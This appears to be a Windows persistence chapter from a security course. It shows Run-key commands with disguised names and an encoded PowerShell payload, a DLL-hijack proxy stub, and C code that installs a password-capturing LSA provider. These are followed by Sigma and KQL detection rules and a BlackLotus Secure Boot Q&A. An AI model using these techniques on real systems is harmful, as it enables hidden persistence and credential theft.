Persistence Mechanisms
Persistence is the attacker's insurance policy. The mechanisms range from trivial (Run key) to nearly irremovable (UEFI firmware implant). Detection engineering cares most about the mechanisms observed in real intrusions: Run keys, scheduled tasks (ch177), WMI subscriptions (ch176), DLL hijacking, and LSA providers. UEFI persistence is rare but represents the apex of persistence — it survives OS reinstall.
You have SYSTEM access on a workstation and want persistence that: (1) survives reboots, (2) survives AV removal of the payload binary (by recovering from a second location), (3) doesn't show up in msconfig or autoruns.exe's most-commonly-checked locations. That rules out HKCU\Run. DLL hijacking via a system DLL search order gap gives you execution inside a legitimate process, and LSA Security Package persistence gives you SYSTEM-level code at boot before any AV loads.
Persistence Mechanism Map
Run Keys and Startup Folder
# HKLM Run key: executes at system startup as current user (when they log in).
# HKCU Run key: no admin needed; executes at logon for this user.
# Startup folder: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
# Add to HKLM Run (requires admin):
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderAntivirus" /t REG_SZ /d "C:\Windows\SysWOW64\WindowsHostAgent.exe" /f
# HKCU (no admin):
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftTeamsHelper" /t REG_SZ /d "powershell -w h -ep bypass -enc BASE64PAYLOAD" /f
# Variations to evade autoruns.exe scan:
# RunOnce with !prefix prevents deletion until reboot: /v "!WindowsUpdate"
# Alternate key: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
# Explorer Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
# Detect via Sysmon Event 13 (registry value set) on Run key paths
# or autoruns: Autoruns64.exe /accepteula /a * /ot csv | ConvertFrom-Csv
DLL Search Order Hijacking
// Windows DLL search order (SafeDllSearchMode on, the default):
// 1. The directory from which the application loaded
// 2. C:\Windows\System32
// 3. C:\Windows\System (16-bit)
// 4. C:\Windows
// 5. The current directory
// 6. Directories in the PATH environment variable
//
// Hijack opportunity: if a signed binary in a writable directory
// tries to load a DLL that doesn't exist in its directory,
// placing your DLL there causes it to load yours.
//
// Example: WinSCP.exe in C:\Program Files\WinSCP\ loads ualapi.dll
// which doesn't exist in that directory — load from System32 instead.
// Place malicious ualapi.dll in C:\Program Files\WinSCP\.
// Finding hijackable DLLs: use procmon with filter:
// Operation = CreateFile / LoadImage
// Path ends with .dll
// Result = NAME NOT FOUND
// Path starts with C:\Users or app install directory
// Each "NAME NOT FOUND" for a .dll is a potential hijack.
// Stub DLL for DLL hijacking — must export the same functions as the real DLL
// (proxy DLL) or the loading application will crash.
#include <windows.h>
BOOL WINAPI DllMain(HMODULE h, DWORD reason, LPVOID _) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(h);
CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)RunImplant, NULL, 0, NULL);
}
return TRUE;
}
// To avoid crashing the host: forward exports to the real DLL from System32:
// Add to .def file or use linker pragmas:
// #pragma comment(linker, "/export:UalStart=C:\\Windows\\System32\\ualapi.UalStart,@1")
// This makes the malicious DLL transparent — exports forward to the real DLL.
LSA Authentication Provider Persistence
// LSA Security Packages are DLLs loaded by lsass.exe at boot — before most
// security software. They run with SYSTEM privileges inside lsass.exe.
// Used by MimiKatz's mimilib.dll as a PoC password capturing provider.
// Requires admin + reboot to activate.
//
// Registry key: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
// Add your DLL name (without .dll extension) to the REG_MULTI_SZ value.
VOID InstallLsaProvider(LPCWSTR dllName) {
HKEY hKey;
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\Lsa",
0, KEY_READ | KEY_SET_VALUE, &hKey);
WCHAR existing[1024] = {0};
DWORD sz = sizeof(existing);
RegQueryValueExW(hKey, L"Security Packages",
NULL, NULL, (BYTE*)existing, &sz);
// Append new DLL name to the multi-string
SIZE_T existLen = sz / sizeof(WCHAR);
wcsncpy_s(existing + existLen, 512, dllName, wcslen(dllName) + 1);
sz = (DWORD)((existLen + wcslen(dllName) + 2) * sizeof(WCHAR));
RegSetValueExW(hKey, L"Security Packages", 0,
REG_MULTI_SZ, (BYTE*)existing, sz);
RegCloseKey(hKey);
// DLL must export: SpLsaModeInitialize, SpUserModeInitialize
}
// The malicious DLL must implement the SSP interface:
BOOL WINAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion,
PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables) {
// Capture passwords here: called for every authentication attempt
// then forward to legitimate handler
return TRUE;
}
Bootkit / UEFI Persistence
Detection Engineering
title: LSA Security Package Addition (Potential Password Capture Implant)
logsource:
product: windows
category: registry_set
detection:
selection:
EventID: 13
TargetObject|endswith: 'Control\Lsa\Security Packages'
condition: selection
level: critical
tags: [attack.persistence, T1547.005]
title: Run Key Modified with Encoded PowerShell Command
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|contains:
- '\CurrentVersion\Run'
- '\CurrentVersion\RunOnce'
Details|contains:
- 'powershell'
- '-enc'
- 'EncodedCommand'
- 'DownloadString'
- 'IEX'
condition: selection
level: high
-- MDE KQL: DLL written to System32 or app directory by non-trusted process
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".dll"
| where FolderPath has "\\Program Files\\"
| where InitiatingProcessFileName !in~ (
"msiexec.exe", "setup.exe", "installer.exe",
"TrustedInstaller.exe", "wusa.exe")
| where InitiatingProcessFolderPath !startswith @"C:\Windows\"
| project Timestamp, DeviceName, InitiatingProcessFileName,
FolderPath, FileName, SHA256
-- ESP .efi file write (UEFI implant indicator)
DeviceFileEvents
| where FileName endswith ".efi"
| where ActionType in ("FileCreated", "FileModified")
| project Timestamp, DeviceName, InitiatingProcessFileName, FolderPath, FileName
Q&A
BlackLotus bypassed Secure Boot in 2023 despite the certificate being revoked — what was the actual mechanism, and what does that tell defenders about the limits of Secure Boot as a persistence defense?
BlackLotus exploited CVE-2022-21894, a vulnerability in the Windows Boot Manager (bootmgr) related to the Secure Boot "DBX" (revocation list) update mechanism. The root cause was that Microsoft's Secure Boot revocation list — which should block known-vulnerable bootloaders — had not been deployed to Windows endpoints because applying the revocation would have rendered certain dual-boot and recovery configurations unbootable. Microsoft delayed the mandatory revocation update, which meant that even in 2023, years after the vulnerability was publicly known, millions of systems would accept the old vulnerable Windows Boot Manager binary as validly signed.
BlackLotus used this gap specifically: it deployed a copy of the vulnerable but Microsoft-signed bootmgr. Because the revocation update had not been applied, UEFI firmware accepted it as valid. The vulnerable bootmgr then loaded a malicious EFI module from the EFI System Partition that bypassed Secure Boot's chain-of-trust enforcement for subsequent boot stages. The result was a bootkit that persisted even across OS reinstall (the EFI module on the ESP survives OS installation) and continued working despite Secure Boot being enabled and configured correctly.
The defender lessons are substantial. First, Secure Boot is only as strong as the revocation list (DBX) it enforces, and that list must be actively maintained and deployed. Microsoft has since made the revocation update more aggressive, but it demonstrated that revocation-list-based enforcement has a lag window. Second, ESP monitoring is a practical control: any legitimate system does not routinely write new .efi files during normal operation. Monitoring the ESP for new EFI file creation — even a simple file-system audit on that partition — would have detected BlackLotus installation. Third, measured boot with remote attestation (TPM PCR values verified against a known-good baseline by a remote attestation server) provides detection that Secure Boot alone does not: if the measured boot log shows an unexpected EFI module loaded, attestation fails. This is available via Windows DRTM (Dynamic Root of Trust for Measurement) and is the primary mitigation for UEFI-layer implants that Secure Boot alone cannot prevent.